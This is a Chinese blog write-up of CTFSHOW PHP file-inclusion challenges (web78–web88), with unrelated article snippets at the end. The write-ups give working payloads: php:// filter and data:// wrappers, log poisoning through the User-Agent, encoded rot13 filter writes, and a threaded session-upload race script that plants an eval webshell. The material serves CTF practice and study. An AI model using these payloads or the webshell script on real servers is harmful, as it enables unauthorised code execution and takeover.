【Web】CTFSHOW PHP文件包含刷题记录(全)

news/2024/5/19 8:44:36 标签: php, 文件包含, ctfshow, ctf, web, 网络安全, 条件竞争

温故知新。

目录

web78-toc" style="margin-left:0px;">web78

web79-toc" style="margin-left:0px;">web79

web80-toc" style="margin-left:0px;">web80

web81-toc" style="margin-left:0px;">web81

web82-toc" style="margin-left:0px;">web82

web83-toc" style="margin-left:0px;">web83

web84-toc" style="margin-left:0px;">web84

web85-toc" style="margin-left:0px;">web85

web86-toc" style="margin-left:0px;">web86

web87-toc" style="margin-left:0px;">web87

web88-toc" style="margin-left:0px;">web88


web78">web78

伪协议base64编码直接读出文件内容就行

?file=php://filter/convert.base64-encode/resource=flag.php

web79">web79

一眼data伪协议包含php脚本

?file=data://text/plain,<?=system('tac f*')?>

web80">web80

data也被禁了,日志包含即可

?file=/var/log/nginx/access.log

UA:<?php system('tac f*')?>

web81">web81

多禁了一个":",还是可以日志包含

?file=/var/log/nginx/access.log

UA:<?php system('tac f*')?>

web82">web82

连"."都被禁用了,/tmp/sess_xxx是不带点的,尝试多线程条件竞争包含临时目录下的session文件

【心得】PHP文件包含高级利用攻击面个人笔记

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

条件竞争漏洞其实也就是当同时并发多个线程去做同一件事,导致处理逻辑的代码出错,出现意想不到的结果。
 

下面贴出我的私用脚本,建议收藏(bushi

import requests
import threading

sess = "Z3r4y"

file_name = "/var/www/html/1.php"
file_content = '<?php eval($_POST[1]);?>'

url = "http://30fb3ca5-61ea-49af-927f-05e8c0f4fcc7.challenge.ctf.show/"

data = {
    "PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}

file = {
    'file': 'Z3r4y'
}

cookies = {
    'PHPSESSID': sess
}


def write(session):
    while True:
        r = session.post(url=url, data=data, files=file, cookies=cookies)


def read(session):
    while True:
        r = session.post(url=url + "?file=/tmp/sess_Z3r4y")
        if "success" in r.text:
            print("shell 地址为:" + url + "/1.php")
            exit()
        else:
            print('让我访问!!')


if __name__ == '__main__':
    threads = []
    for i in range(5):
        session = requests.session()
        t = threading.Thread(target=write, args=(session,))
        threads.append(t)
        t.start()

    for i in range(5):
        session = requests.session()
        t = threading.Thread(target=read, args=(session,))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

运行结果

拿到shell,访问RCE即可

web83">web83

session_unset()函数用于释放当前会话中所有已注册的会话变量。它会将会话数组中的所有元素置为空,并将当前会话的变量销毁,但并不会完全终止会话。

session_destroy()函数用于销毁当前会话。它会删除当前会话的所有数据,包括会话文件(如果使用文件存储会话数据)或相关的存储机制中的数据。同时,会话ID也会被删除,导致会话无法再被恢复。

这两个函数通常一起使用,用于清除和终止会话。

但是并不慌,只要是程序运行,必定会消耗时间,从session_unset()运行到include之前的这段时间,我们只要再上传文件注册一个session就可在临时文件里再创建一个sess文件,成功包含。

脚本和上一题一样。

web84">web84

同上,在system("rm -rf /tmp/*")和include($file)之间再上传sess文件即可成功包含。

web85">web85

 同上,进file_exists的时候一个线程的sess文件还在,进file_get_contents之前时候会话终止,sess文件被销毁,然后文件内容为空进不到strpos的if判断,成功包含。

线程开大一点就可以成功写入。

web86">web86

dirname — 返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。

set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false

include — 被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。

我们include已经指定了路径,不受影响,还是用上面的脚本打

web87">web87

 一眼死亡exit绕过

php://filter 绕过死亡file_put_content()

?file=php://filter/write=string.rot13/resource=1.php

php-fpm接收数据时会url解码一次, urldecode又会url解码一次,所以要url二次编码,顺便过掉':'和'.'的waf

这里推荐用burpsuite自带的编码工具,它的url编码是全编码

 

php://filter/write=string.rot13/resource=1.php用于将输出进行rot13编码后写入指定的文件

然后随便找个rot13在线编码网站,编码一次, 这样伪协议过滤器rot13编码写文件就会把编码内容还原会原来的恶意代码(rot13编码两次即恢复原样),顺带过掉die。最终payload:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

post:content=<?cuc flfgrz('gnp s*');?>

web88" style="background-color:transparent;">web88

没有过滤冒号,可以使用data://协议。但是因为过滤了'php'和'=',不太好直接写马,所以需要base64编码。不过还有一点就是base64编码后很容易出'='和'+',所以需要去加一些字符调整payload。

 加个Z3r4y竟然可以hhh

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/PlozcjR5

http://www.niftyadmin.cn/n/5317547.html

相关文章

单目测距(车辆测距+前车碰撞预警)-基于yolov8/yolov7/yolov5——毕业设计

一、开发环境 部署平台&#xff1a;英伟达的Jetson Nano 环境&#xff1a;Linux ROS 语言&#xff1a;C 设备&#xff1a;1920*1080像素的摄像头、开发板。 模型&#xff1a;yolo-v8s 二、单目测距实现思路 0、标定相机和车辆&#xff08;假设已经标定完成&#xff09; 1、通…

Windows系统Copilot使用方案

在Windows环境中启用和使用Copilot的一般步骤和方案概述&#xff1a; 启用Windows Copilot 确保系统更新&#xff1a; 首先&#xff0c;您的设备需要运行最新的Windows 11版本&#xff0c;因为Copilot可能作为系统更新的一部分推出。 安装与激活&#xff1a; 如果Copilot是通过…

【刷题笔记2】

刷题笔记2 最小公倍数、最大公约数 两个数的最大公约数两数乘积/最小公倍数 #<include> cmath; int a,b; int mgcd(a,b);//求最大公约数复制字符串substr()函数 s.substr(pos, len) &#xff1a;pos的默认值是0&#xff0c;len的默认值是s.size() - pos string a1;in…

Unity中打印信息的两种方式

不继承MonoBehaviour的普通C#类中打印信息&#xff1a; 使用Debug类的方法&#xff1a; Unity提供了Debug类&#xff0c;其中包含了一些用于打印信息的静态方法。以下是常用的几种方法&#xff1a; Debug.Log(message)&#xff1a;打印普通信息。Debug.LogWarning(message)&a…

去外包干了2个月,技术全忘了...

先说一下自己的情况&#xff0c;大专生&#xff0c;18年通过校招进入武汉某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落&#xff01; 而我已经在一个企业干了四…

三菱plc学习入门(三,FB模块)

小编很抱歉&#xff0c;因为小编是以基恩士&#xff0c;三菱的plc一起学习并找发现不同&#xff01;&#xff01;&#xff01;并结合工作的案例来进行学习&#xff0c;所以内容上与系统的学习还是存在差异。如果只是单独的学习此篇文章&#xff0c;如果对您有帮助&#xff0c;欢…

数据采集卡:4位32路256K同步模拟量输入卡,支持外触发、外时钟,支持多卡同步

产品应用 USB-XM2432是一款基于USB2.0总线的数据采集卡&#xff0c;可直接和计算机的USB口相连&#xff0c;构成实验室、产品质量检测中心等各种领域的数据采集、波形分析和处理系统。也可构成工业生产过程监控系统。它的主要应用场合为&#xff1a; 电子产品质量检测 医学检…

【JAVA】线程的run()和start()有什么区别?

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a; JAVA ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 run() 方法&#xff1a; start() 方法&#xff1a; 区别总结&#xff1a; 结语 我的其他博客 前言 多线程编程是Java中一个重要…